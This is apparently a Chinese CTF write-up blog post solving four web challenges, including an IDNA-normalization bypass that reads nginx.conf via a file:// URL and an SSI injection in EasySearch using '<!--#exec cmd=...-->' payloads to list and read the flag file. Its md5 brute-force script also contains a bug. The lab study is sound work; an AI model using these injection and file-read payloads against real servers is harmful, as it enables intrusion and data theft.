做题笔记1

[ASIS 2019]Unicorn shop

 进去是一个购买商品的地方,然后输入编号1到3的时候,都是

 而输入编号4的时候,它只允许一个字符

 然后它题目标签考的是unicode,只能由一个字符,那就是把unicode里面能用一个字符表示超过1337的数字搞进去

 然后把超过的复制一个就行

 [SUCTF 2019]Pythonginx

        @app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")    #获取url的值
    host = parse.urlparse(url).hostname     #从url中提取域名
    if host == 'suctf.cc':                 #域名不能为suctf.cc
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))            #urlsplit用于分析网页url的结构,从而快速提取网页中的各个参数,如协议、域名、路径、查询字段等
    host = parts[1]                    #这个表里的第二个是域名
    if host == 'suctf.cc':             #同样域名不能为suctf.cc
        return "我扌 your problem? 222 " + host
    newhost = []                       #创建一个列表
    for h in host.split('.'):          #spilt以 . 为界对host进行分割
        newhost.append(h.encode('idna').decode('utf-8'))   #把host分割的先进行idna编码,在进行utf-8解码,然后追加到newhost里
    parts[1] = '.'.join(newhost)      #把newhost表里面的以 . 连接,然后赋给parts[1]
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()      #请求finalUrl并且读取内容
    else:
        return "我扌 your problem? 333"

大概就是由三个if,前面两个不能就去,但是要就去第三个if,而第二个和第三个直接有一个idna的编码和utf-8的解码,应该就是从这里来把finalUrl的域名变成suctf.cc

idna与utf-8编码漏洞

然后就跑一下,那个能替换suctf.cc里面的

 把含 - 的去掉是因为这样的不符合要求

for i in range(128,65537):
    try:
        a=chr(i)
        b=a.encode('idna').decode('utf-8')
        if '-' in b:
            continue
        print("u:{} a:{} ascii:{}".format(a,b,i))
    except:
        pass

然后是要查看什么文件来找到flag文件的信息,提示nginx

 配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf
一个一个试发现file://suctf.cⒸ/usr/local/nginx/conf/nginx.conf可以

 flag{ca339ba6-8078-4353-8a99-8da8f556f24a}

[BJDCTF2020]EasySearch

 进来是一个登录页面,试了sql没有试出来,那就用御剑扫一下,没有扫出来,看wp发现是index.php.swp,字典里没有,加上去

<?php
	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times    //mt_rand() 函数使用 Mersenne Twister 算法生成随机整数。
		$content = uniqid().$random;  //uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID。
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {    //如果password为6d0bc1就就去
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>

上面的要post的password参数值的md5为6d0bc1才可以进去,然后会生成一个.shtml,这个有一个ssi注入,现在先把md5前6个为6d0bc1的值跑出来

import hashlib

for i in range(1000000000):
    a = hashlib.md5(str('i').encode('utf-8')).hexdigest()

    if a[0:6] == '6d0bc1':
        print(i)
        print(a)

 进去之后没有东西,抓包看看

 生成一个.shtml的文件,访问一下

 这个看wp,说是ssi注入

 这里有两个地方与用户交互,hello 123和client ip,试一试

在上一级目录找到flag文件

<!--#exec cmd="ls ../"-->

 

<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->

 这题学到了ssi注入,以及通过md5值找到原值

[BSidesCF 2019]Kookie

 说要用admin账户登录,然后题目又是kookie-cookie,应该是要在cookie里加admin的用户名

 这个题要结合题目以及页面中的提示来做

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值